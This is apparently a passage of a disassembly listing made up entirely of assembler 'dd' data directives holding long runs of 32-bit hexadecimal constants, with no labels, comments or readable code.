		dd 0C15F3878h, 7C4E327Fh, 2A98AB99h, 30E987EEh,	1C8AE9CAh
		dd 914D2DEEh, 3ABB6A6Ah, 0E1FFE665h, 1C7CB990h,	65530EAAh
		dd 0E39163F8h, 81C21CCDh, 2EF40A6Fh, 147268B3h,	0D39267FBh
		dd 7E3CAEC0h, 0B44A2171h, 27092F08h, 91F98BA3h,	47EB8036h
		dd 405E6E07h, 2AB05EBAh, 479A4F95h, 38DF2D2Eh, 1E06210Ah
		dd 839FA41Ch, 7B084480h, 0FEC48CBDh, 3D2E9AC0h,	1FD6C36Fh
		dd 0DAC0D8CBh, 6A50C161h, 0E37FA9CEh, 0BCBE3B61h, 94EF48D5h
		dd 0A80E6EF2h, 2DCD2DAAh, 0EB9447F1h, 2DB47E77h, 0B3FC95ADh
		dd 0DBBC832Ch, 0FB905550h, 0A797066Eh, 0AE95BFCh, 173BD139h
		dd 193BDE60h, 0CDB72279h, 5A38A4BBh, 0E7CB6F1Dh, 2FB7E21h
		dd 0FE2AA608h, 31226395h, 43E67BFAh, 91B523E4h,	0A653A104h
		dd 0BEC231A9h, 0C20117D4h, 0BFC5B542h, 0D08DCE99h, 6100E81Bh
		dd 617C5DFAh, 0A80059DDh, 3A102A00h, 4A3A8E81h,	0CCF1D9Ch
		dd 300AAD82h, 0CCA7B15Bh, 91109041h, 0A387C8A5h, 0DBC0B350h
		dd 49ECA79Bh, 0D68E1BA8h, 51625175h, 0F69043B7h, 4FDEBB79h
		dd 406CAD61h, 0C97C4946h, 597212FAh, 357F56B5h,	0A9E79734h
		dd 504BC9E3h, 0AEF3BF07h, 3481932h, 0E5C196BEh,	0FC28E082h
		dd 0D249E97Ch, 88F91C58h, 0EAA08133h, 0E3AF86EBh, 98635DC5h
		dd 41A7AEFDh, 52074F67h
		dd 0A6F3017Ah, 8780E76Ah, 898DA15Dh, 5A6C8F23h,	0E7B47902h
		dd 4FB30D5Ch, 0D264DF8Bh, 0F0CDCEF0h, 4B1880C1h, 2AAA8F32h
		dd 72E048F7h, 19EC73C2h, 9693DCF2h, 0EE32C6BAh,	0A7660F08h
		dd 0C87D6395h, 0BD118CBCh, 0E2C582C1h, 0D9F3ADD0h, 0C6BF50Ch
		dd 0A2377ACCh, 23F4C6Eh, 1A51145Bh, 84B17274h, 0C50118F6h
		dd 37D346D3h, 0A9A222C6h, 1B012961h, 377C5B41h,	0CDAA429Ch
		dd 0B3A48CACh, 0A037C2E2h, 0A6ECBFF4h, 4E54B093h, 855A9E07h
		dd 77F8F6A8h, 1BCA42FBh, 72950AD2h, 87A96674h, 0D1898CCDh
		dd 0E0B51540h, 9D5AE7DCh, 251637C2h, 80D884C5h,	39723DBAh
		dd 0C6FB497Eh, 6473F743h, 0A234A2C0h, 0B9B16C61h, 5A987C3Dh
		dd 0ED20338Dh, 0DEB9F9BAh, 890FC45Bh, 379F15D9h, 7A07BEA5h
		dd 5C51957Fh, 0E4C5104Fh, 0A3E7FCB7h, 97A6DE48h, 852905ECh
		dd 0BDE98C34h, 0EE95C7A3h, 0FD68FDD1h, 814E2CDEh, 0D929645h
		dd 11A1CF6h, 0FBAB60Bh,	0BA3B3CBCh, 34A1A0F7h, 59069AF5h
		dd 0EAADB8B0h, 5D4CEA9Bh, 5BD7AF03h, 0B301B3DEh, 5B377C7Ch
		dd 0C338A382h, 3680980Bh, 904D8C27h, 46165502h,	0CA84CFE2h
		dd 0E525D3BFh, 0E08C7CF6h, 8FEBA2C3h, 94904365h, 97537150h
		dd 0F5D5E4D2h, 0C0FA37EEh, 8E807C92h, 2C9392B5h, 0D33A88B0h
		dd 7EBEAF57h, 0A0D2DB87h, 6A51212Ah, 3B49A83Eh,	3411FC1Eh
		dd 396370EEh, 4F4F9084h, 2DF10F61h, 0FF3986B8h,	427AC04Eh
		dd 0AD8CB7EDh, 45AD9650h, 0E2BBFA01h, 39C9787Ch, 2E2883D5h
		dd 0DA05DC65h, 0E29BA02Eh, 859A4AFDh, 0F5498AA4h, 5E20D821h
		dd 0ED9586C4h, 0AD90D121h, 289F556Eh, 0F484A05Dh, 966BE90Ah
		dd 0BF1A729Eh, 0EAC0B83Ch, 718C0235h, 5B86E675h, 8D37AFB3h
		dd 75A8C2B6h, 0B3EE8A31h, 0D3DDCBF7h, 0E886277Ah, 7EBAFFA4h
		dd 495AA6A1h, 0D6312BB0h, 85FA3C2Bh, 0D4A08771h, 0AF9FE87Bh
		dd 2B5EBB33h, 0EDC441EFh, 76EDCF7Eh, 9E3C902Ah,	845078EDh
		dd 0D75E684h, 6DA88F70h, 31B68903h, 0F756056Eh,	479BB56Bh
		dd 9764CB92h, 3444BEDDh, 679A995Ah, 0B0BDCB01h,	0CED39BE9h
		dd 0A6075DF5h, 749FD4C0h, 0B201849Dh, 0F87BB362h, 9F82C8C7h
		dd 0FA2A59E0h, 49428772h, 9C9C3836h, 47D5E13Bh,	0EBD79B1h
		dd 0BC5A3DF3h, 0B5095883h, 0FF89AD60h, 3F0BBD9h, 0A84FAF77h
		dd 0AA27B1C2h, 0BC82C28Ch, 0AD81F7D5h, 0A2281179h, 587AC5B3h
		dd 7A841B50h, 0B7CED4D1h, 0B65CA03Bh, 94C8A65Bh, 0AB71EBBCh
		dd 4F46F741h, 177F9957h, 7A45ECEBh, 0CC41BFDh, 9E314514h
		dd 512F4B01h, 6AD11CD2h, 0C9628D62h, 92241FE5h,	0C60C482Fh
		dd 8BA4AB3Eh, 504C0972h, 0F270FD0Dh, 43A1F3C1h,	7B07C25Eh
		dd 3A6A5FDDh, 0A48A1C54h, 0A0D208B1h, 16CD2C0Dh, 0E86E5BA0h
		dd 7804D539h, 98726B7Ah, 9EDF1B21h, 83F44B64h, 69CD8479h
		dd 77A37EF1h, 1E4B265h,	2545BC4Dh, 0ED68D63Dh, 0D4CCF7E2h
		dd 8504ED56h, 7572F828h, 0AD2A6B11h, 10FEAD8Bh,	0D4C6479Eh
		dd 0CD21EBCCh, 5FED0C9Fh, 0F64443BBh, 256E425Eh, 0FE1AE5C8h
		dd 38AA430Bh, 4473654Dh, 3F34A623h, 660A3FE9h, 2A770C86h
		dd 0A748EEEFh, 0F5756709h, 0C66E11A1h, 23C0EBCAh, 819977D4h
		dd 0DFF28104h, 15CC5116h, 11F14686h, 0D452922Eh, 4C211FEh
		dd 20D5A29Eh, 61DB6F5h,	86C34568h, 0E75F34ABh, 96765DD7h
		dd 0BF2E7202h, 8D932F2Bh, 0AD6C7A5Ah, 6A91C4EBh, 894C1EBBh
		dd 7167DD0Ah, 26AE50D1h, 18477818h, 59A559EFh, 0AEB59DD4h
		dd 189689FFh, 77C4D8D0h, 0C9C65C52h, 6E7CE382h,	7C1A363Fh
		dd 885BE5EEh, 49269DB1h, 30FBDFC6h, 508D0F14h, 0D008EA3Ch
		dd 877AFAB2h, 5F901254h, 19520B9Ch, 0D3385766h,	87051856h
		dd 5FEDFD12h, 82950685h, 0BFBB690Ah, 869E5369h,	0C11BC28Ch
		dd 662F7FDFh, 83B82766h, 4AFD9197h, 83F3B7B3h, 0C5A4E02Ah
		dd 0F7BCFE23h, 1E1A8644h, 2F579342h, 0E62D39D6h, 0A04AC5EAh
		dd 93A1C43Eh, 0AE34AC81h, 2BAB7337h, 0A7E956ADh, 166F1490h
		dd 2E1DB24h, 0D1316BD6h, 6F43E66Bh, 223E79F7h, 0C65C438Dh
		dd 46FFDDA8h, 14CFA77Eh, 0FD42B761h, 27A0A27Ch,	5E21E2C9h
		dd 53C082EDh, 0CA172A8Eh, 7AB778B8h, 0CF21242Eh, 1592C917h
		dd 3E0EF1D0h, 6FBBCC6Dh, 0A01C467Fh, 8316BB37h,	4AFA66FFh
		dd 0FAC5E0D0h, 1A6F2ACEh, 2AEE80D0h, 0C01CAB9Bh, 624BBA34h
		dd 87704A55h, 0BA18176Ah, 7EAFF721h, 1E3C4D92h,	3EEA0A6Ch
		dd 653CF71Bh, 0B614CDA0h, 0F9D9BBE7h, 0C5DAAEB8h, 66E5DD25h
		dd 40E22253h, 504E964Fh, 33B12839h, 0BA41B0AEh,	2D9A1C88h
		dd 0F48C3121h, 0FB5FEE88h, 1A556A8Eh, 0BE883B00h, 71831FF0h
		dd 0B35F468Fh, 14EBD825h, 56279840h, 0E058D99Ch, 26E818E0h
		dd 8720EB35h, 5D01F387h, 0E83F4592h, 0C29BFB54h, 0FD57A78h
		dd 0B00070DBh, 41A4E918h, 3687C98Ch, 0D80CBDBBh, 9CE1C5D5h
		dd 0F7C6D805h, 0A3372817h, 0F1377FBAh, 342521Bh, 0D0C65FF3h
		dd 9191E1F0h, 40D656B7h, 15B19A0Ch, 765DA1CAh, 333880D9h
		dd 12FBFF72h, 0A1E787CCh, 9ADE4E60h, 0EB948E74h, 4AFEA2E7h
		dd 0F037D735h, 0C7603E7Ch, 7B5AB6B7h, 10EFBC81h, 0D088EA1Eh
		dd 0A71F5763h, 25061787h, 7415F32Ch, 0C7B775D4h, 0C02210AEh
		dd 0B7A69C66h, 88AD5A44h, 4FEA6599h, 0AB00AAE0h, 24F3BA95h
		dd 770DC059h, 0E4C0893Fh, 41244404h, 0BFF240FCh, 575E3ACFh
		dd 0D834EAC6h, 860E8AB2h, 0CDED7DF2h, 7285FAF5h, 6ED62C7h
		dd 6EC8E3Eh, 61594E33h,	0AB14B10Ch, 0D7AAD56Ah,	9A91DC20h
		dd 0D1789F9Dh, 78E76FE3h, 5F322C65h, 0CFF80166h, 2C5606D5h
		dd 8E67A4BBh, 945B1EC8h, 4DC417FBh, 0D7FBBABDh,	7921523Dh
		dd 70FECBD8h, 9925433Ch, 41F453E6h, 1D5ACC7Eh, 5D2245ACh
		dd 38E04CBBh, 0C50E76BAh, 5406C58h, 88EC5EA0h, 0D023249h
		dd 90076540h, 0CF7021A0h, 1F16DFF9h, 56179E04h,	0BC3125D3h
		dd 810DD5ABh, 0DC7AE430h, 5DA446A7h, 752FB754h,	50FB5AC2h
		dd 326B3454h, 3F40C842h, 0D3F2A367h, 7ED2645Ah,	5DE60C4Eh
		dd 4887AE94h, 5E14E6BAh, 545B4E19h, 5DFFB9FDh, 0CC34392Ch
		dd 0A964947Fh, 0F6613E6Ch, 0AC277FEFh, 0B42F6F46h, 0BFAEA4D3h
		dd 0D743431Bh, 41249169h, 3CFC7299h, 0D5EFCA23h, 0D275C6E0h
		dd 0A45B4E07h, 0F208C63Eh, 1DD4A807h, 1711C4C8h, 0A686527Ah
		dd 9791BDEFh, 0AE70BB49h, 0C88A4A31h, 85A6CF74h, 0F59BA7CBh
		dd 80FE34C5h, 0AA00E69h, 0D04B8C7Fh, 0CB329D4Eh, 0C7268245h
		dd 7AD35B45h, 1915E8FBh, 9602F640h, 0A5E6215Ch,	450C2F5Ch
		dd 0DB32F4A2h, 0A0E77A98h, 0D103FD7Ch, 7AA30922h, 53E6D78h
		dd 0FDA60174h, 6A238FACh, 95E83Fh, 8C8CE024h, 76E23B33h
		dd 0FC653AA4h, 2166BAB1h, 0C5DC4BC0h, 76D39C23h, 0A4F8F21Eh
		dd 0F52F68E5h, 8F4FFC0Dh, 0BB0CC6E6h, 5436CC47h, 87720C6Fh
		dd 0FCFCC0B3h, 5CDF3979h, 44462B4h, 0C816C645h,	7CF51CD0h
		dd 46399489h, 4A092FB5h, 9DC8B5C1h, 0B2E012B6h,	7A8F019Ah
		dd 55387C3Eh, 7ADC7956h, 9FC57B8Dh, 827467B4h, 0F54DB5CEh
		dd 4121B8A9h, 0CB9F0ADFh, 0D2B1C760h, 63BEED81h, 0E40C97BAh
		dd 1631F0F2h, 0FBD291CBh, 1EB16B9Fh, 0FA447E66h, 426C483Ah
		dd 0C3C3598Dh, 606397BBh, 59F28535h, 0E71E70F9h, 4E5D4838h
		dd 347F90E9h, 121AAF8Ch, 2A968FDh, 0A184B866h, 0BB8D431Ah
		dd 1243ADE1h, 9F8EE691h, 0B935D96h, 4CEAB499h, 0A5B93AADh
		dd 6DD81EA7h, 3E6E1753h
		dd 0FC478B42h, 0A68B364Bh, 166850E4h, 2177B7A7h, 6A6EB8D8h
		dd 0C341C4B2h, 18AD8747h, 92FE3EDDh, 0F9A63731h, 6F453B8h
		dd 0FC029416h, 8FA43FD3h, 89DCC769h, 2B6EA172h,	297A7057h
		dd 0E7D929ABh, 7A51F235h, 5F9FC562h, 74C92ECCh,	84979731h
		dd 94C9D3A4h, 7B1D1919h, 0B30BA38Fh, 9096CEE4h,	0C8AEE2F6h
		dd 0FB866CD0h, 0BD962D89h, 83F24BB3h, 0B4B6CCE1h, 0EB32C7CAh
		dd 0A4FB2798h, 7CC9CD06h, 91FC2469h, 9E92338Eh,	0AD761135h
		dd 131FCCCBh, 7868303h,	873E4766h, 0CDE409DBh, 0E0102E4h
		dd 20B9261Ah, 0EE0C946h, 0F8A1EECFh, 80B7D1E4h,	0E25EEE7Dh
		dd 8B8F9DC5h, 49AD2FE8h, 520178F5h, 0B3951FA3h,	0A266B021h
		dd 9E9CA3DBh, 0C433EEA1h, 88CBE7Fh, 0FA2BC35Ch,	90F16C2Bh
		dd 37C4C005h, 8DEFB47Bh, 1F873D1Ch, 48E94A01h, 0B21933DFh
		dd 6B485EB0h, 39244C9Ah, 0C23FAF79h, 873955A5h,	0CE83B90Ah
		dd 6B5A3D4Fh, 2EC9ECC5h, 4A2CC132h, 0BCF5FDFh, 98E2E591h
		dd 7920DBDDh, 97D26C87h, 86A2CB23h, 0A856136Ch,	2A174A53h
		dd 11663B79h, 0E8537237h, 377A15BCh, 3B98A22Bh,	8766CF3Fh
		dd 0E22F585Dh, 518CF00Ah, 0F524AF4Bh, 4A6F5EBEh, 352AD362h
		dd 0BC4B5830h, 0DDC6453Eh, 0BD74CE1Fh, 5DAB2D00h, 0B801CF1h
		dd 0D7644409h, 909F0D58h, 0DD3B57A6h, 20D511C4h, 3CA169BCh
		dd 0BC0C0419h, 5C3BCEF4h, 9E973BEAh, 37E71E77h,	8EFAA982h
		dd 28F40C1Bh, 0C4206615h, 3F58653Ah, 529DEA2Eh,	0BCD36832h
		dd 0F0EFD7B0h, 6E770261h, 3857C052h, 0E558E8BDh, 362646B5h
		dd 0EA6481CDh, 0ED9C0087h, 64B69FF6h, 0D32321Fh, 0C35FA75Bh
		dd 0AA99B86h, 8D2CB07Fh, 88ADD311h, 790DADAh, 5DE29AF3h
		dd 5B230030h, 3E316225h, 66B046B4h, 29BCD44Fh, 266B20Dh
		dd 0E5EC9397h, 3B239E19h, 76174FF1h, 0CEB9F043h, 2FF4700Bh
		dd 93D23B88h, 91F399D3h, 931BDEh, 697339D2h, 0CD7FDAAFh
		dd 2CE8D4A1h, 89B301DFh, 0C7E25267h, 0F73E0F36h, 2F323ADFh
		dd 9F7E2302h, 1163B53Fh, 98593652h, 0F767C641h,	0C6E06CA4h
		dd 43196AF9h, 0AD59D50h, 7AD4AFDEh, 55CA525Bh, 0CF88E566h
		dd 8F4AB5A8h, 0E6E1DD6Ah, 3A58D0DFh, 0A97B332Eh, 0F41E4C9Bh
		dd 3AC89814h, 0CBB3A1BEh, 56D437B6h, 157DB1B1h,	2825EC4Dh
		dd 0DBFC7953h, 8E77069Bh, 9E8D58C5h, 6A62DEFDh,	338BF348h
		dd 41401F26h, 0EE05345Ch, 0D8CF07C6h, 904E554h,	0D0E25ABDh
		dd 0F052D8D7h, 0AA036EC6h, 0C108F4B0h, 5A3DEA05h, 0C1E9AD45h
		dd 1AC73651h, 0AA26DC66h, 9A77A6E7h, 1914135Ah,	0CDC28C42h
		dd 5C3672F5h, 878C9835h, 1445E73Eh, 0AE7644DEh,	2B09D3F9h
		dd 3A80D84Eh, 0CA3ADBACh, 0CB9A3E42h, 19640764h, 8A81308Eh
		dd 3788884Fh, 0B121BD0Dh, 8043A3CDh, 9CDE387Dh,	267E0FAh
		dd 6C49C105h, 0DED5B742h, 0DAD55E7Eh, 47FA6508h, 0BAF31991h
		dd 0A47C7EA3h, 1CD355A3h, 59106D23h, 69D37B92h,	3713EB2h
		dd 6B108085h, 0B28C7C25h, 26AF002Ah, 0D80A00AEh, 16625BE9h
		dd 27EC52A0h, 0F1A807AEh, 0F023457Fh, 23C68F6Ah, 38DFA065h
		dd 93A5F2B2h, 0D1E32357h, 0DCFD59E9h, 6385263Eh, 0AD0AED4Dh
		dd 7170BADEh, 5113F8F6h, 840447D6h, 82B526F8h, 4455C361h
		dd 0B6004446h, 0DEFEB8DEh, 70597067h, 5D88CAB5h, 6EB3C51Dh
		dd 0D676AA6Ah, 0CC664DA9h, 0CA0D4929h, 0DA84C78h, 7893C332h
		dd 0AE0BE9EFh, 219AC7FCh, 0C19E6C29h, 658D736Dh, 9F3A35F4h
		dd 0C083FECh, 0AB576561h, 5C02E4ACh, 0F075E05Dh, 1BC0ACB8h
		dd 888CC365h, 485A21FDh, 5C4FC08Fh, 59FDA1A3h, 7C13F0E5h
		dd 0E3FC723Fh, 0E133DB41h, 9A8CCA70h, 0F9C69988h, 0A3A18A9Dh
		dd 87AE4E02h, 681A4A4Eh, 0C4E466F6h, 9531DF11h,	62C9B639h
		dd 0AF4B4984h, 1B209CF5h, 5983B85Bh, 3E7968F2h,	35E60072h
		dd 0F212790h, 0BD1086C8h, 0FC55E39Bh, 0D0861C0Dh, 1DD32C77h
		dd 1B750BD6h, 30E47E2Bh, 3B646ACCh, 9C3DB12Eh, 0F4E45913h
		dd 5F915B2Eh, 0A2462211h, 37FCC84h, 2E94A779h, 0DF02A204h
		dd 0DFA41CF6h, 341F1277h, 9951727Eh, 9B19F038h,	0A1017CDAh
		dd 214C5121h, 2CAB4821h, 0BE4CCCAEh, 2C022942h,	76A41A3h
		dd 0E4BE6C3h, 2B340DB4h, 0DB23DCD7h, 3F31CE9Bh,	0E91213C9h
		dd 6DD46D31h, 54BE5EF8h, 9BAA792Eh, 9F5D6799h, 942760B4h
		dd 4EB3CE86h, 438054DDh, 0FA412A13h, 2125B705h,	88E4ECDh
		dd 0FD1D3358h, 59EFEBC9h, 1A00B4E2h, 0AD642D55h, 45F06758h
		dd 6BF61A57h, 0B3E4D8E1h, 81FD4390h, 0BC1DA75h,	1D9FB7E1h
		dd 0AF4C60D9h, 0DEA3301h, 1F805634h, 62633291h,	85145011h
		dd 0A0DF5253h, 1B2A6EB6h, 970C0A81h, 0CB28B702h, 8B2F09FDh
		dd 86023CD0h, 1FBE80E0h, 7F9CA433h, 0BF73AEDBh,	88684B15h
		dd 0F1F8F82Dh, 43975C44h, 6918A907h, 678A2EEDh,	0B5517EFh
		dd 0F35A9C22h, 2AABE8C8h, 0D639BB66h, 6AF1137Ah, 0FCB6DECCh
		dd 805E86B4h, 0A413C7ADh, 0CA4F0A63h, 0CBDEE572h, 0C333D67Fh
		dd 33CB0343h, 0C7F07DDh, 0E0835A04h, 819B2D6Eh,	3B0B1B8h
		dd 0BA12DF09h, 3457FAD6h, 0A450FE88h, 451485BDh, 26CECC9Eh
		dd 1661759Ch, 504DECDh,	59F76D7Bh, 8F2CA78h, 0CC18F99Ah
		dd 8B8FF020h, 3F8FB9CAh, 1D603C63h, 6B97AE81h, 0A8F2AA2Eh
		dd 0AB16C764h, 3E7B0686h, 5B532046h, 91D3A8D2h,	98A254EFh
		dd 93CB30CDh, 2C1F43C5h, 0FC1C1571h, 0BD55CD1Eh, 0BC45C055h
		dd 873407EBh, 1C438794h, 0F2916774h, 32527942h,	0A02D1B3Fh
		dd 5E4C9A40h, 0DF084B0Dh, 621E60F3h, 387BD7BFh,	146C6478h
		dd 0AC23FC73h, 5B32D182h, 0E9EB4021h, 0D5CD6764h, 5C774967h
		dd 7539862Dh, 0D3D73A0Eh, 0C0EAF971h, 328D413Fh, 0DA691178h
		dd 0A9A231D7h, 4D779ED4h, 29FCF11Ch, 87306F54h,	716376Ch
		dd 0BAEB5A1Fh, 0A5D9DC7Fh, 0B7F7AD39h, 7B2117A8h, 6BB9E5D1h
		dd 4725D78Eh, 13BCAB7Ah, 0CDA415A7h, 55F8F823h,	9C4FFB4Ch
		dd 69FB3E4Bh, 80CF2D1Ch, 3821F375h, 49B811B3h, 0A0D6DD32h
		dd 5B949A53h, 4D620FF9h, 0D679AB3Bh, 2E7F02C5h,	0E3A81201h
		dd 1E6EEDD6h, 0AFD6AD07h, 0C4ACC6BAh, 5919FC40h, 0E632149Dh
		dd 0F521005Dh, 74925D57h, 0B0852D0Ch, 0DCF19AB5h, 0AD14E119h
		dd 0F3D241Fh, 1E5DCA6Dh, 9FDDA14h, 0FB5D42A0h, 0CF9D1195h
		dd 0C019F5A3h, 0D1F045B3h, 2C253B5Bh, 92816BDAh, 353A34A1h
		dd 9CDC208Fh, 0CF794F3Bh, 2683C615h, 46852C87h,	1F818E38h
		dd 478807F5h, 0F80DB144h, 0FFEB39A8h, 1F2FC8B7h, 484FE714h
		dd 75D41669h, 4A39A159h, 269BE8C8h, 0FB4BC930h,	0A9B51EE2h
		dd 5D040DB2h, 0EB65515Bh, 0A3BBED46h, 0CA5388CAh, 6437ACA5h
		dd 669852F1h, 5347A63Ch, 907111E1h, 4B70ADFAh, 0FC86B10Eh
		dd 310B5D3Dh, 945318AFh, 2D9BEA4Fh, 4E89629h, 0F258BCF3h
		dd 8BF6E58Ah, 762BDAEFh, 0BAB4CAA2h, 2B54D3E6h,	31D840A0h
		dd 0DA6E6B5Bh, 0F3F6D5B3h, 1F292438h, 19917A85h, 0C6D28E60h
		dd 1FD87CA1h, 99CD46DCh, 8B26BCE6h, 24B12F69h, 51185DC2h
		dd 6468BB5Ah, 0B5C46D44h, 0F671E663h, 71FE105h,	3F1D4057h
		dd 5156024Bh, 0A873416Ch, 8BA2687Dh, 0C975B122h, 0BC355F0Dh
		dd 0CFA154A3h, 0AF2AFEE6h, 5B48E30Dh, 0FC59247Eh, 8E757831h
		dd 77A8B328h, 0CC39785h, 81AF2189h, 0BFC01A2Fh,	64140246h
		dd 3DEA4CD9h, 0CB1A3960h, 9FF08145h, 2090F82h, 98BADDCBh
		dd 146C280Ch, 34BC1A3h
		dd 3CB05CA3h, 3DAF4C8Ch, 0DF79A5A6h, 8EBBFF0Ah,	0B8761CC4h
		dd 6BB943F2h, 955577E4h, 0DB796A7Dh, 7139031Eh,	0A2B6C62h
		dd 789A791Eh, 3DA3B1B5h, 23431484h, 0D7888F22h,	31102AF7h
		dd 67A9573Dh, 0BA717086h, 3B5431CEh, 2BA0247Ch,	605CE2A0h
		dd 2802508Ah, 0F9D98398h, 73B51D92h, 0A7C23651h, 2D06E9CAh
		dd 895DF333h, 58E8C9F4h, 2BA98152h, 1AE6F8A6h, 0BEBE0CBCh
		dd 5EA6EDF5h, 9E413BCAh, 2707A9Ah, 0F35DB259h, 8BD8450Ch
		dd 0AD7486D7h, 7CE34A1h, 41432B7h, 0F09A7D59h, 39261FA8h
		dd 0E94F1D67h, 8438E998h, 56EE5B4Ah, 0D8BE19D2h, 921D92D8h
		dd 0A5B9DE26h, 3BCFD412h, 0E2E37FB5h, 0AFD6A308h, 0F881A4F3h
		dd 0D38C75Bh, 0C63755AEh, 1E39C367h, 0D3DD96C9h, 0F1EAE357h
		dd 77A691C7h, 943DF620h, 660683CAh, 733C8406h, 93427C87h
		dd 45A2D572h, 0F6F39D9Eh, 42DEB5E0h, 0D5DE0879h, 7A712952h
		dd 19CFB8EFh, 24EECC78h, 0F8620055h, 6E9FC69Fh,	0EE3E1F43h
		dd 88C2684Ah, 2A19B606h, 8560C8CDh, 568C3746h, 86BCFCFCh
		dd 0F65D8D68h, 836B7504h, 0EEAEE874h, 794BD948h, 369826CAh
		dd 0B02F4943h, 0D6F687B4h, 28B8415Ch, 75F29CEEh, 0C5066242h
		dd 386DBBA5h, 6274B976h, 0F44C177Fh, 0E07EFEB1h, 921B11B6h
		dd 0E3A1D8BAh, 8B740D14h, 199B6064h, 0B3A65B37h, 48816173h
		dd 9FBFE51h, 9D83C03Dh,	61CD3962h, 0A52EE5D3h, 0DD11B931h
		dd 0E40BF993h, 0BFB59BDAh, 75C0F219h, 21D3BA69h, 0BA6473BEh
		dd 2118F616h, 0F069DA60h, 0C5B6825Ah, 0A5A5E9D0h, 83EBF5F6h
		dd 68DE326Fh, 8CBB9134h, 0EECAA9ECh, 0AFEE054Dh, 0E98A32B7h
		dd 6FEAF7BBh, 0EFF50543h, 60702973h, 423A6CD7h,	2EDCE2CFh
		dd 0E3F40D31h, 0B995D6D4h, 14EE4C13h, 0A1053E51h, 5094F958h
		dd 0DF9DE300h, 2A985352h, 0B9F96732h, 0B54B6407h, 60423C1h
		dd 0B5E923CBh, 375FDD0Ch, 11CD3CD2h, 0C2E7FE2Eh, 9F0EB3D0h
		dd 5E7A496Fh, 3A793EEEh, 47331149h, 1A5800h, 0C45961E9h
		dd 0B2468634h, 13428863h, 4761E29h, 79B8620Ah, 603C4D44h
		dd 30A4CB1Fh, 0A471FCEAh, 1C4ADA0Dh, 324ADBFFh,	56959230h
		dd 0D5BB68ADh, 57056AA4h, 81C394B6h, 0CCAB320Dh, 0B126A811h
		dd 3E5A3293h, 7D17B3D7h, 2FAE1298h, 1A650426h, 5EAB3544h
		dd 13113F25h, 17A32E27h, 0DB2C416Bh, 0C1B7E11Ah, 0B09B698Bh
		dd 3890E7D9h, 0E4C4AD39h, 7EB8AAC5h, 2B7BC9EDh,	0A89A83B0h
		dd 0F281CA21h, 8B27135Eh, 6C67C61Eh, 0CD9242E0h, 0B6B1BECFh
		dd 9A7C7848h, 0B5BE644Bh, 2EA28F7Fh, 702D0A22h,	93FBC27Fh
		dd 0D10E3530h, 396A709Ah, 0E9316A1Dh, 0CEF04888h, 14DE6433h
		dd 9BC6C273h, 0F367ADA1h, 340438B6h, 0C7DE457Eh, 27F97758h
		dd 339FECE5h, 0F84385D8h, 7740027Eh, 8630C588h,	356261A8h
		dd 0EC1B590Ch, 0AB649D6Dh, 0BA60CA0Eh, 385C7D9Fh, 42BFEFA2h
		dd 0AE86768Dh, 0C546DAF3h, 60052859h, 6CB13EF0h, 0F4F4939Eh
		dd 0FA47EF57h, 1746D95Eh, 32445076h, 0A860E6B8h, 85D79240h
		dd 20DF27D1h, 0C5045A8Bh, 14FAD10Ah, 266E49E1h,	1E14856h
		dd 18EA07C2h, 0A4214471h, 0E092DC8Ch, 8D9790DBh, 0B19E8C4Ah
		dd 0D190E63Ah, 86721440h, 1850AA41h, 5497C9AAh,	0E7C59F01h
		dd 6235A559h, 76547FB1h, 9473C005h, 8A4CFC43h, 0AF7D41B6h
		dd 453D8EA1h, 2D230038h, 57C3FF48h, 0A690B083h,	248EBB9Dh
		dd 98744DB5h, 0C17EF3C1h, 17F9D76h, 0A415FDFFh,	11E0D971h
		dd 2D447DAFh, 5F635244h, 0CB229984h, 0C99756A6h, 17BAEFB3h
		dd 41D10DB1h, 5D5B3C55h, 2F83129Fh, 0D80189FEh,	0C388A5DDh
		dd 0C7D46BF2h, 0CC2D6995h, 5ABB3374h, 13B36D9Ah, 0B70C1CDCh
		dd 0FDBB4F98h, 267E1ADFh, 95343039h, 6F49EBA6h,	57D165BDh
		dd 0FEE784E2h, 0CAA7629Eh, 72F58DA1h, 0D0CB473Fh, 0CB176FE5h
		dd 9B89DC71h, 7953C703h, 168E3348h, 4DC290D7h, 0FEE3C5A5h
		dd 62264B11h, 578B47C8h, 0B5CD18E1h, 0FCC32149h, 712E2058h
		dd 47294F95h, 64F3F1B2h, 615A00A1h, 162A5D7Eh, 610E59EBh
		dd 0B1395AF6h, 5843C6BBh, 39DD7DEBh, 11A3E85Eh,	47C560F5h
		dd 0E40DEEEEh, 8C8A89D8h, 0D7146653h, 0DFD67C93h, 8B529E04h
		dd 0FD23E11Bh, 404A8C52h, 40A5B9FBh, 1599757Fh,	0AACC1404h
		dd 72A18949h, 83765E21h, 0BF52D6CCh, 0A35C7892h, 176C6552h
		dd 91AFB27Ch, 0B42148A3h, 1B50794Eh, 2F65F0ABh,	44AAC008h
		dd 0AB732017h, 51B883F4h, 0E385E68Eh, 0EF691DB6h, 0A2B7BB8Ah
		dd 57A916EBh, 640EEF72h, 4ADADADAh, 85DEEB16h, 925A0C89h
		dd 0F5C050CAh, 9167CC00h, 830B21D2h, 3C2AF542h,	0F25CAC70h
		dd 2CD8569Bh, 0E83DC215h, 1A3362ECh, 6A6A11B1h,	9E7BC198h
		dd 0C4577DE4h, 400A1DACh, 4BB3F1BAh, 0A04B2742h, 0D03C06F7h
		dd 2BDCCA98h, 9153DA8h,	0A3AD065Bh, 5B897EC2h, 0A5DFA98Eh
		dd 3275F1B4h, 0B281A5AAh, 0E42F2277h, 0DDF2F185h, 9ADB4611h
		dd 384D2973h, 0F78E932Eh, 0F625BDC8h, 9DDCE845h, 96C22E57h
		dd 0D411C618h, 0B2441826h, 2CA43A0Ch, 5D2844C4h, 4A2F515Fh
		dd 8ADD476Dh, 0D406366h, 1C111503h, 78AF7E32h, 84BFCD0h
		dd 0EF485500h, 558A7077h, 0A0E6FD45h, 0CAAA5108h, 41D26743h
		dd 0DB53FE75h, 1A0F1A6Bh, 0F613CEF2h, 0DEE34A04h, 2BD7B206h
		dd 0AE4DE7F9h, 8998C6D6h, 43C1CBD7h, 0BC190D26h, 102974A7h
		dd 3048EE4Fh, 767A61F8h, 6C2B3590h, 0B9CE3676h,	0EA53757Ch
		dd 82B8B368h, 5B6F8750h, 0F750BC72h, 8AD139FBh,	0A2D3D821h
		dd 7FA467C8h, 3ED63579h, 6E2C10CBh, 0A20D7BFBh,	45E81AC5h
		dd 449AD585h, 61833D47h, 0DC2778FFh, 7FF948D9h,	9CA2E898h
		dd 90A703F9h, 82EA18BCh, 324E5CBh, 0E9826631h, 0A5D4E273h
		dd 0FF3CFF5Ch, 8B9AF1Ch, 0FD74408Ah, 7B8775ECh,	94632DB4h
